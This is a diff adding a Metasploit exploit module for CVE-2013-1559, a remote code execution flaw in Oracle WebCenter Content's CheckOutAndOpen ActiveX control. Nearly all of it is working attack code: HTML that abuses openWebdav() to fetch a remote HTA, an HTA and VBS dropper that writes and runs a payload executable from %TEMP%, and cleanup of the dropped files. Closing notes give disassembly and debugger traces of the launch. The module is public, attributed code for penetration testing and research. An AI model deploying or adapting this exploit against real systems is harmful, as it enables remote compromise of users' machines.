1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::EXE
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution" ,
19
+ 'Description' => %q{
20
+ This modules exploits a vulnerability found in the Oracle WebCenter Content
21
+ CheckOutAndOpenControl ActiveX. This vulnerability exists in openWebdav(), where
22
+ user controlled input is used to call ShellExecuteExW(). This module abuses the
23
+ control to execute an arbitrary HTA from a remote location. This module has been
24
+ tested successfully with the CheckOutAndOpenControl ActiveX installed with Oracle
25
+ WebCenter Content 11.1.1.6.0.
26
+ } ,
27
+ 'License' => MSF_LICENSE ,
28
+ 'Author' =>
29
+ [
30
+ 'rgod <rgod[at]autistici.org>' , # Vulnerability discovery
31
+ 'juan vazquez' # Metasploit module
32
+ ] ,
33
+ 'References' =>
34
+ [
35
+ [ 'CVE' , '2013-1559' ] ,
36
+ [ 'OSVDB' , '92386' ] ,
37
+ [ 'BID' , '59122' ] ,
38
+ [ 'URL' , 'http://www.oracle.com/technetwork/topics/security/cpuapr2013-1899555.html' ] ,
39
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-13-094/' ]
40
+ ] ,
41
+ 'Payload' =>
42
+ {
43
+ 'Space' => 2048 ,
44
+ 'StackAdjustment' => -3500
45
+ } ,
46
+ 'DefaultOptions' =>
47
+ {
48
+ 'InitialAutoRunScript' => 'migrate -f -k'
49
+ } ,
50
+ 'Platform' => 'win' ,
51
+ 'Targets' =>
52
+ [
53
+ [ 'Automatic' , { } ]
54
+ ] ,
55
+ 'Privileged' => false ,
56
+ 'DisclosureDate' => "Apr 16 2013" ,
57
+ 'DefaultTarget' => 0 ) )
58
+ end
59
+
60
+ def exploit
61
+ @var_exename = rand_text_alpha ( 5 + rand ( 5 ) ) + ".exe"
62
+ @dropped_files = [
63
+ @var_exename
64
+ ]
65
+ super
66
+ end
67
+
68
+ def on_new_session ( session )
69
+ if session . type == "meterpreter"
70
+ session . core . use ( "stdapi" ) unless session . ext . aliases . include? ( "stdapi" )
71
+ end
72
+
73
+ @dropped_files . delete_if do |file |
74
+ win_file = file . gsub ( "/" , "\\ \\ " )
75
+ if session . type == "meterpreter"
76
+ begin
77
+ wintemp = session . fs . file . expand_path ( "%TEMP%" )
78
+ win_file = "#{ wintemp } \\ #{ win_file } "
79
+ session . shell_command_token ( %Q|attrib.exe -r "#{ win_file } "| )
80
+ session . fs . file . rm ( win_file )
81
+ print_good ( "Deleted #{ file } " )
82
+ true
83
+ rescue ::Rex ::Post ::Meterpreter ::RequestError
84
+ print_error ( "Failed to delete #{ win_file } " )
85
+ false
86
+ end
87
+
88
+ end
89
+ end
90
+ end
91
+
92
+ def build_hta ( cli )
93
+ var_shellobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
94
+ var_fsobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
95
+ var_fsobj_file = rand_text_alpha ( rand ( 5 ) +5 ) ;
96
+ var_vbsname = rand_text_alpha ( rand ( 5 ) +5 ) ;
97
+ var_writedir = rand_text_alpha ( rand ( 5 ) +5 ) ;
98
+
99
+ var_origLoc = rand_text_alpha ( rand ( 5 ) +5 ) ;
100
+ var_byteArray = rand_text_alpha ( rand ( 5 ) +5 ) ;
101
+ var_writestream = rand_text_alpha ( rand ( 5 ) +5 ) ;
102
+ var_strmConv = rand_text_alpha ( rand ( 5 ) +5 ) ;
103
+
104
+ p = regenerate_payload ( cli ) ;
105
+ exe = generate_payload_exe ( { :code => p . encoded } )
106
+
107
+ # Doing in this way to bypass the ADODB.Stream restrictions on JS,
108
+ # even when executing it as an "HTA" application
109
+ # The encoding code has been stolen from ie_unsafe_scripting.rb
110
+ print_status ( "Encoding payload into vbs/javascript/hta..." ) ;
111
+
112
+ # Build the content that will end up in the .vbs file
113
+ vbs_content = Rex ::Text . to_hex ( %Q|
114
+ Dim #{ var_origLoc } , s, #{ var_byteArray }
115
+ #{ var_origLoc } = SetLocale(1033)
116
+ | )
117
+ # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
118
+ # for conversion with ADODB.Stream
119
+ vbs_ary = [ ]
120
+ # The output of this loop needs to be as small as possible since it
121
+ # gets repeated for every byte of the executable, ballooning it by a
122
+ # factor of about 80k (the current size of the exe template). In its
123
+ # current form, it's down to about 4MB on the wire
124
+ exe . each_byte do |b |
125
+ vbs_ary << Rex ::Text . to_hex ( "s=s&Chr(#{ ( "%d" % b ) } )\n " )
126
+ end
127
+ vbs_content << vbs_ary . join ( "" )
128
+
129
+ # Continue with the rest of the vbs file;
130
+ # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
131
+ # Then use ADODB.Stream again to write the binary to file.
132
+ #print_status("Finishing vbs...");
133
+ vbs_content << Rex ::Text . to_hex ( %Q|
134
+ Dim #{ var_strmConv } , #{ var_writedir } , #{ var_writestream }
135
+ #{ var_writedir } = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\ #{ @var_exename } "
136
+
137
+ Set #{ var_strmConv } = CreateObject("ADODB.Stream")
138
+
139
+ #{ var_strmConv } .Type = 2
140
+ #{ var_strmConv } .Charset = "x-ansi"
141
+ #{ var_strmConv } .Open
142
+ #{ var_strmConv } .WriteText s, 0
143
+ #{ var_strmConv } .Position = 0
144
+ #{ var_strmConv } .Type = 1
145
+ #{ var_strmConv } .SaveToFile #{ var_writedir } , 2
146
+
147
+ SetLocale(#{ var_origLoc } )| )
148
+
149
+ hta = <<-EOS
150
+ <script>
151
+ var #{ var_shellobj } = new ActiveXObject("WScript.Shell");
152
+ var #{ var_fsobj } = new ActiveXObject("Scripting.FileSystemObject");
153
+ var #{ var_writedir } = #{ var_shellobj } .ExpandEnvironmentStrings("%TEMP%");
154
+ var #{ var_fsobj_file } = #{ var_fsobj } .OpenTextFile(#{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs",2,true);
155
+
156
+ #{ var_fsobj_file } .Write(unescape("#{ vbs_content } "));
157
+ #{ var_fsobj_file } .Close();
158
+
159
+ #{ var_shellobj } .run("wscript.exe " + #{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs", 1, true);
160
+ #{ var_shellobj } .run(#{ var_writedir } + "\\ \\ " + "#{ @var_exename } ", 0, false);
161
+ #{ var_fsobj } .DeleteFile(#{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs");
162
+ window.close();
163
+ </script>
164
+ EOS
165
+
166
+ return hta
167
+ end
168
+
169
+ def on_request_uri ( cli , request )
170
+ agent = request . headers [ 'User-Agent' ]
171
+
172
+ if agent !~ /MSIE \d /
173
+ print_error ( "Browser not supported: #{ agent . to_s } " )
174
+ send_not_found ( cli )
175
+ return
176
+ end
177
+
178
+ print_status ( "Request received for #{ request . uri } " ) ;
179
+
180
+ if request . uri =~ /\. hta$/
181
+ hta = build_hta ( cli )
182
+ print_status ( "Sending HTA application" )
183
+ send_response ( cli , hta , { 'Content-Type' => 'application/hta' } )
184
+ return
185
+ end
186
+
187
+ uri = "#{ get_uri } #{ rand_text_alpha ( rand ( 3 ) + 3 ) } .hta"
188
+
189
+ html = <<-EOS
190
+ <html>
191
+ <body>
192
+ <object id="target" width="100%" height="100%" classid="clsid:A200D7A4-CA91-4165-9885-AB618A39B3F0"></object>
193
+ <script>
194
+ target.openWebdav("#{ uri } ");
195
+ </script>
196
+ </body>
197
+ </html>
198
+ EOS
199
+
200
+ print_status ( "Sending HTML" )
201
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
202
+
203
+ end
204
+
205
+ end
206
+
207
+ =begin
208
+
209
+ * The vulnerable control tries to solve how to open the provided extension
210
+
211
+ .text:100099FC lea eax, [ebp+830h+Src]
212
+ .text:10009A02 push eax ; lpResult
213
+ .text:10009A03 lea eax, [ebp+830h+Directory]
214
+ .text:10009A06 push eax ; lpDirectory
215
+ .text:10009A07 lea eax, [ebp+830h+PathName]
216
+ .text:10009A0D push eax ; lpFile
217
+ .text:10009A0E call ds:FindExecutableW ; This function returns the executable associated with the specified file for the default verb
218
+
219
+ * If succeeds, the provided user data is used as argument:
220
+
221
+ .text:10009D8F lea eax, [ebp+psz]
222
+ .text:10009D95 mov [ebp+pExecInfo.lpFile], eax
223
+ .text:10009D9B mov eax, [ebp+var_238]
224
+ .text:10009DA1 mov [ebp+pExecInfo.cbSize], 3Ch
225
+ .text:10009DAB mov [ebp+pExecInfo.fMask], 2000000h
226
+ .text:10009DB5 mov [ebp+pExecInfo.hwnd], ebx
227
+ .text:10009DBB mov [ebp+pExecInfo.lpVerb], offset aOpen ; "open"
228
+ .text:10009DC5 jnb short loc_10009DCD
229
+ .text:10009DC7 lea eax, [ebp+var_238]
230
+ .text:10009DCD
231
+ .text:10009DCD loc_10009DCD: ; CODE XREF: make_ShellExecute_sub_10009ACC+2F9j
232
+ .text:10009DCD mov [ebp+pExecInfo.lpParameters], eax
233
+ .text:10009DD3 lea eax, [ebp+pExecInfo]
234
+ .text:10009DD9 push eax ; pExecInfo
235
+ .text:10009DDA mov [ebp+pExecInfo.lpDirectory], ebx
236
+ .text:10009DE0 mov [ebp+pExecInfo.nShow], 0Ah
237
+ .text:10009DEA call ds:ShellExecuteExW
238
+
239
+ * On the debugger:
240
+
241
+ Breakpoint 1 hit
242
+ eax=0201ef6c ebx=00000000 ecx=00000000 edx=03850608 esi=00000008 edi=00000000
243
+ eip=10009dea esp=0201ee08 ebp=0201f200 iopl=0 nv up ei pl nz ac po nc
244
+ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
245
+ CheckOutAndOpen!DllUnregisterServer+0x7108:
246
+ 10009dea ff156cd20210 call dword ptr [CheckOutAndOpen!DllUnregisterServer+0x2a58a (1002d26c)] ds:0023:1002d26c={SHELL32!ShellExecuteExW (7ca02f03)}
247
+ 0:007> dd esp
248
+ 0201ee08 0201ef6c <== pExecInfo
249
+ 0:007> dd 0201ef6c
250
+ 0201ef6c 0000003c 02000000 00000000 10031468
251
+ 0201ef7c 0201efe0 03854688
252
+ 0:007> du 0201efe0
253
+ 0201efe0 "C:\WINDOWS\system32\mshta.exe"
254
+ 0:007> du 03854688
255
+ 03854688 ""http://192.168.172.1:8080/xKRTv"
256
+ 038546c8 "m0mqpAt7sEYdVq.hta""
257
+
258
+ This code allows to launch other executables with user data provided as argument, but at the moment I like the HTA
259
+ solution because it allows to pass URL's as arguments. And code executed by mshta is on a privileged zone. Other
260
+ executables allow to provide SMB URI's but metasploit only allow to 'simulate' a SMB resource through webdav, so
261
+ the target should have the WebClient service enabled, which is only enabled by default on XP SP3.
262
+ =end
0 commit comments